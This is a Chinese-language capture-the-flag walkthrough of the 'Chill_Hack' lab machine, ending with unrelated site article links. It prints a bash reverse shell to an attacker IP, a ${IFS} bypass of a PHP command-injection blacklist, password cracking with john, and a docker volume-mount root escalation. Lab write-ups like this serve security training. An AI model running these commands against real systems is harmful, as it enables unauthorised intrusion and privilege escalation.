靶机 Chill_Hack

Chill_Hack

信息搜集

存活检测

  • arp-scan -l

    image-20231016200139955

详细扫描

  • 扫描结果

    image-20231016200656807

    显示允许 ftp 匿名链接

FTP 匿名登录

  • 匿名登陆 ftp 下载文件并查看

    anonymous@10.4.7.139
    

    下载命令

    get note.txt
    

    image-20231017133401301

  • 查看文件

    image-20231017133411769

    Anurodh告诉我,在命令 Apaar 中有一些字符串过滤
    

后台扫描

  • 扫描结果

    image-20231017133438672

命令绕过

  • 查看 secret 秘密网页

    image-20231017133455240

  • 出现一个命令框

    尝试输入命令 whoami

    image-20231017133509244

    输入命令 ls

    image-20231017133517824

    弹出警示界面,结合之前 ftp 获取的信息,命令存在字符串过滤,尝试绕过

  • 尝试 /bin/ls

    image-20231017190755437

    可以使用命令

  • 猜测其对一些关键词进行了过滤

  • 反弹 shell(我看的攻略,目前不知道具体的过滤规则,在后面反弹 shell 成功后,查看源码时分析绕过原理)

    bash -c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
    # 替换空格
    bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.4.7.132/8888 0>&1'
    

    image-20231017133549673

  • 连接成功

    使用 script 回显

    /usr/bin/script -qc /bin/bash /dev/null
    

    image-20231017133620665

提权

命令绕过原理

  • 此时可以看到 index.php 中的命令注入过滤规则

    /var/www/html/secret /index.php

    删除了不重要的渲染后留下了过滤原理字段

    <html>
    <body><form method="POST"><input id="comm" type="text" name="command" placeholder="Command"><button>Execute</button>
    </form>
    <?phpif(isset($_POST['command'])){$cmd = $_POST['command'];      //输入的指令(包括空格)传入到变量 $cmd 中$store = explode(" ",$cmd);    //以空格为分隔符,将每个字符串存入到 $store 数组$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');//过滤的关键字for($i=0; $i<count($store); $i++) //比较数组中每个字符串,如果和过滤的字符之一匹配,则直接 return,不执行任何命令{for($j=0; $j<count($blacklist); $j++){if($store[$i] == $blacklist[$j]){?><h1 style="color:red;">Are you a hacker?</h1>
    <?php                                    return;}}}// 若没有匹配到过滤的关键字,则执行输入的指令?><h2 style="color:blue;"><?php echo shell_exec($cmd);?></h2><?php }
    ?>
    </body>
    </html>
    
  • 因为以空格为分隔符,将分隔出的字符串与过滤的关键字匹配,可以使用 ${IFS} 绕过

    Linux 中${IFS}可以代替空格

    可以看到二者效果相同

    image-20231017193549867

  • 所以只需在过滤的关键字旁边使用${IFS}代替空格就可实现过滤的绕过

    bash${IFS}-c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
    

密码获取

  • sudo -l 查看权限

    image-20231017133656891

    允许 apaar 用户使用

  • 文件 /var/www/files 下提示

    image-20231017133707320

  • 靶机开启新的 http 服务,供 kali 下载图片分析

    image-20231017133724367

    image-20231017133738836

  • 提取隐写文件

    steghide extract -sf hacker-with-laptop_23-2147985341.jpg
    

    image-20231017133748562

  • 解压文件

    提示输入密码

    image-20231017133755829

  • 密码爆破

    zip2john backup.zip > backup.john
    # 将名为 backup.zip 的 ZIP 文件的密码哈希提取出来,并将结果保存到名为 backup.john 的文件中
    
    john --wordlist=/usr/share/wordlists/rockyou.txt backup.john 
    

    image-20231017125237654

    成功破解密码 pass1word

  • 解压并查看

    image-20231017125427200

    image-20231017125600631

  • base64 解密

    IWQwbnRLbjB3bVlwQHNzdzByZA==
    # 结果
    !d0ntKn0wmYp@ssw0rd
    

    image-20231017125654284

  • ssh 登录 apaar 用户失败

    image-20231017130048873

  • 在家目录下找到其他两个用户,尝试登录

    image-20231017130124951

    image-20231017130258093

    成功登录

docker 逃逸提权

  • 依旧无 suid 权限

    image-20231017130445329

  • 上传漏洞扫描文件

    image-20231017131458409

    运行

    image-20231017131424272

  • 查看 docker 镜像

    docker images
    

    image-20231017132402233

  • 提权

    docker run -it -v /root:/mnt alpine
    

    在容器中运行 Alpine 镜像,并将主机的 /root 目录挂载到容器的 /mnt 目录。

    具体来说,命令的各个部分的含义如下:

    • docker run:运行一个 Docker 容器。

    • -it:创建一个交互式的终端会话,并分配一个伪终端。

    • -v /root:/mnt:将主机的 /root 目录挂载到容器的 /mnt 目录。

      容器中的 /mnt 目录将显示主机中 /root 目录的内容,并且对 /mnt 目录的更改将反映在主机的 /root 目录中。

    • alpine:指定要运行的容器镜像,这里是 Alpine 镜像。

      alpine 容器提供了一个基于 Alpine Linux 的最小化运行环境

    通过这个命令,可以在 Alpine 容器中访问和操作主机上的 /root 目录中的文件和目录。

    提权成功

    image-20231017132941331

总结

命令绕过

隐写

docker 逃逸提权

  1. 首先使用命令:docker images
    用于查看本地已下载的镜像

    REPOSITORY # 镜像仓库
    TAG # 镜像标签
    IMAGE ID # 镜像ID
    CREATED # 镜像创建时间
    SIZE # 镜像大小
    
  2. 如果不存在,
    就可以先下载个镜像,然后把 root 文件夹挂载到上面

    使用命令 docker run alpine chroot 来下载镜像文件;
    (不存在docker镜像情况下使用)

  3. 将root文件夹挂载在上面

    docker run -it -v /root:/mnt alpine
    

    将文件夹挂载到mnt文件夹

  4. Docker挂载命令逃逸:

    -v /root(需要挂载得目录):/abc(新建挂载目录)
    参数 -v 将容器外部的目录 / 挂载到容器内部
    

    因为 docker 环境运行得时候是需要 root 权限的,所以可以实现提权的目的;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/109923.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

leetCode 5. 最长回文子串 动态规划 + 优化空间 / 中心扩展法 + 双指针

5. 最长回文子串 - 力扣&#xff08;LeetC5. 最长回文子串 - 力扣&#xff08;LeetCode&#xff09;5. 最长回文子串 - 力扣&#xff08;LeetC 给你一个字符串 s&#xff0c;找到 s 中最长的回文子串。如果字符串的反序与原始字符串相同&#xff0c;则该字符串称为回文字符串。…

模型的选择与调优(网格搜索与交叉验证)

1、为什么需要交叉验证 交叉验证目的&#xff1a;为了让被评估的模型更加准确可信 2、什么是交叉验证(cross validation) 交叉验证&#xff1a;将拿到的训练数据&#xff0c;分为训练和验证集。以下图为例&#xff1a;将数据分成4份&#xff0c;其中一份作为验证集。然后经过…

VulnHub lazysysadmin

一、信息收集 1.nmap扫描开发端口 开放了&#xff1a;22、80、445 访问80端口&#xff0c;没有发现什么有价值的信息 2.扫描共享文件 enum4linux--扫描共享文件 使用&#xff1a; enum4linux 192.168.103.182windows访问共享文件 \\192.168.103.182\文件夹名称信息收集&…

UWB安全数据通讯STS-加密、身份认证

DW3000系列才能支持UWB安全数据通讯&#xff0c;DW1000不支持 IEEE 802.15.4a没有数据通讯安全保护机制&#xff0c;IEEE 802.15.4z中指定的扩展得到增强&#xff08;在PHY/RF级别&#xff09;&#xff1a;增添了一个重要特性“扰频时间戳序列&#xff08;STS&#xff09;”&a…

软件开发“自我毁灭”的七宗罪

软件开发是一门具有挑战性的学科&#xff0c;它建立在数以百万计的参数、变量、库以及更多必须绝对正确的因素之上。即便是一个字符不合适&#xff0c;整个堆栈也会随之瓦解。 多年来&#xff0c;软件开发团队已经想出了一些完成工作的规则。从复杂的方法论到新兴的学科和哲学…

百度地图高级进阶开发:圆形区域周边搜索地图监听事件(覆盖物重叠显示层级\图像标注监听事件、setZIndex和setTop方法)

百度地图API 使用百度地图API添加多覆盖物渲染时&#xff0c;会出现覆盖物被相互覆盖而导致都无法触发它们自己的监听&#xff1b;在百度地图API里&#xff0c;map的z-index为0&#xff0c;但是触发任意覆盖物的监听如click时也必定会触发map的监听&#xff1b; 项目需求 在…

最详细STM32,cubeMX 点亮 led

这篇文章将详细介绍 如何在 stm32103 板子上点亮一个LED. 文章目录 前言一、开发环境搭建。二、LED 原理图解读三、什么是 GPIO四、cubeMX 配置工程五、解读 cubeMX 生成的代码六、延时函数七、控制引脚状态函数点亮 LED 八、GPIO 的工作模式九、为什么使用推挽输出驱动 LED总结…

基于svg+js实现简单动态时钟

实现思路 创建SVG容器&#xff1a;首先&#xff0c;创建一个SVG容器元素&#xff0c;用于容纳时钟的各个部分。指定SVG的宽度、高度以及命名空间。 <svg width"200" height"200" xmlns"http://www.w3.org/2000/svg"><!-- 在此添加时钟…

排查手机应用app微信登录问题不跳转失败原因汇总及其解决方案

经过最近我发的文章,我个人觉得解决了不少小问题,因为最近很小白的问题已经没有人私聊问我了,我总结了一下排查手机应用app微信登录问题不跳转失败的原因汇总及其解决方案在这篇文章中,分析微信登录不跳转的原因,并提供解决方案。希望通过这篇文章,能够帮助大家顺利解决这…

紫光同创FPGA实现UDP协议栈网络视频传输,带录像和抓拍功能,基于YT8511和RTL8211,提供2套PDS工程源码和技术支持

目录 1、前言免责声明 2、相关方案推荐我这里已有的以太网方案紫光同创FPGA精简版UDP方案紫光同创FPGA带ping功能UDP方案紫光同创FPGA精简版UDP视频传输方案 3、设计思路框架OV5640摄像头配置及采集数据缓冲FIFOUDP协议栈详解MAC层发送MAC发送模式MAC层接收ARP发送ARP接收ARP缓…

DCDC Buck电路地弹造成的影响

很多读者都应该听过地弹&#xff0c;但是实际遇到的地弹的问题应该很少。本案例就是一个地弹现象导致电源芯片工作不正常的案例。 問題描述 如下图1 &#xff0c;产品其中一个供电是12V转3.3V的电路&#xff0c;产品发货50K左右以后&#xff0c;大约有1%的产品无法启动&#…

4.MidBook项目经验之MonogoDB和easyExcel导入导出

1.数据字典(固定的数据,省市级有层级关系的) //mp表如果没有这个字段,防报错,eleUI需要这个字段TableField(exist false) //父根据id得到子数据 ,从controller开始自动生成代码-->service//hasChildren怎么判断,只需要判断children的parentid的count数量>0就可以了//优化…

vue.js - 断开发送的请求,解决接口重复请求数据错误问题(vue中axios多次相同请求中断上一个)

描述 进入页面时第一个接口还在请求,立即切换tab请求第二个接口。但是第二个接口响应比第一个接口响应快,页面展示的时第一个接口的数据,如图: 解决方法 判断如果是相同的接

visual studio安装时候修改共享组件、工具和SDK路径方法

安装了VsStudio后,如果自己修改了Shared路径&#xff0c;当卸载旧版本&#xff0c;需要安装新版本时发现&#xff0c;之前的Shared路径无法进行修改&#xff0c;这就很坑爹了&#xff0c;因为我运行flutter程序的时候&#xff0c;报错找不到windows sdk的位置&#xff0c;所以我…

怎么把flac音频变为mp3?

怎么把flac音频变为mp3&#xff1f;FLAC音频格式在许多平台和应用程序中都得到支持和应用。FLAC音频格式被广泛支持和应用。许多平台、设备和应用程序都支持FLAC格式&#xff0c;如Windows、macOS和Linux操作系统、各种音乐播放器软件、智能手机和平板电脑、在线音乐平台和流媒…

c++小知识

内联函数 inline 用来替换宏函数 不能分文件编辑 在c语言中#define NULL 0在c中使用nullptr表示空指针class内存的大小计算规则使用的是内存对齐 没有成员&#xff0c;但是还有1个字节&#xff0c;我们使用这个来标记他是个类 类成员函数不存在于类中 为什么每个对象使用的…

基于Linux安装Hive

Hive安装包下载地址 Index of /dist/hive 上传解压 [rootmaster opt]# cd /usr/local/ [rootmaster local]# tar -zxvf /opt/apache-hive-3.1.2-bin.tar.gz重命名及更改权限 mv apache-hive-3.1.2-bin hivechown -R hadoop:hadoop hive配置环境变量 #编辑配置 vi /etc/pro…

云安全—云计算基础

0x00 前言 学习云安全&#xff0c;那么必然要对云计算相关的内容进行学习和了解&#xff0c;所以云安全会分为两个部分来进行&#xff0c;首先是云计算先关的内容。 0x01 云计算 广泛传播 云计算最早大范围传播是2006年&#xff0c;8月&#xff0c;在圣何塞【1】举办的SES&a…

SpringMVC的响应处理

目录 传统同步业务数据的响应 请求资源转发 请求资源重定向 响应数据模型 直接回写数据给客户端 前后端分离异步业务数据响应 在前面的文章中&#xff0c;我们已经介绍了Spring接收请求的部分&#xff0c;接下来看Spring如何给客户端响应数据 传统同步业务数据的响应 准…

Redis数据结构之quicklist

前言 为了节省内存&#xff0c;Redis 推出了 ziplist 数据类型&#xff0c;采用一种更加紧凑的方式来存储 hash、zset 元素。因为查找的时间复杂度是 O(N)&#xff0c;且写入需要重新分配内存&#xff0c;所以它仅适用于小数据量的存储&#xff0c;而且它还存在 连锁更新 的风…